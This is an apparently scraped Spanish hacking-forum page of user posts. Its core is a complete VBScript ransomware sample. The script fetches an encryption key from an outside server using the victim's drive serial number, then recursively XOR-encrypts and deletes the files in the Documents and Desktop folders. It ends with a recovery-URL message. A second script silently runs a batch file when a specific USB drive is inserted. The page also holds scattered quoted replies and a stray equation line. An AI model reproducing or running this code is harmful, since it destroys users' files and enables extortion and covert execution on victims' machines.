el primero decodificandolo esto me sale
voy por el segundo
Código [Seleccionar]
x^2 - 8x + 16 = 0, Enter (x * 350)
voy por el segundo
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
x^2 - 8x + 16 = 0, Enter (x * 350)
Cita de: engel lex en 29 Noviembre 2016, 01:16 AM
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)
por otro lado la contraseña debe crearse en el server por practicidad
option explicit
dim shell,fso,document,f,password,desktop,id
set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")
set f = fso.getfolder(document)
id = f.drive.serialnumber
password = Contrasena(id)
cifrar(document)
cifrar(desktop)
msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado"
function Contrasena(id)
dim objhttp
Set objhttp = createobject("Microsoft.XmlHttp")
objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
objhttp.send "id=" & id
Contrasena = objhttp.responsetext
end function
function cifrar(ruta)
dim carpeta,listfiles,listfolders,f
set carpeta = fso.getfolder(ruta)
set listfolders = carpeta.subfolders
set listfiles = carpeta.files
for each f in listfiles
archivo(f.path)
next
for each f in listfolders
cifrar(f.path)
next
end function
function archivo(path)
dim file,largo,i,f,b,p,n
set file = fso.getfile(path)
largo=file.size
set f = file.OpenAsTextStream()
redim bytes(largo)
n = 1
for i=0 to largo - 1
if n = len(password) then
n = 1
else
n = n + 1
end if
p = asc(mid(password,n,1))
b = asc(f.read(1)) xor p
bytes(i) = chr(b)
next
f.close
set f = fso.createtextfile(file.path & ".crypt")
for n = 0 to i - 1
f.write(bytes(n))
next
f.close
file.delete
end function
option explicit
on error resume next
dim shell,system,usb,disco
set shell = createobject("wscript.shell")
set system = createobject("scripting.filesystemobject")
set usb = system.drives
bat="" 'AQUI PONES LA RUTA DE EL BAT EN LA USB
for each disco in usb
if disco.drivetype=1 then
if disco.SerialNumber = "273197608" then 'CAMBIAS ESTO POR TU ID DE USB
shell.run "cmd /c " & bat,0
end if
end if
next
Cita de: engel lex en 19 Noviembre 2016, 03:16 AM
No, actualmente no puede, incluso ni si quiera sabrás cuando abrió el correo porque el Servicio copia las imagenes en sus server
CitarLa única manera de hacer lo primero es que un programa ya adentro lo inicie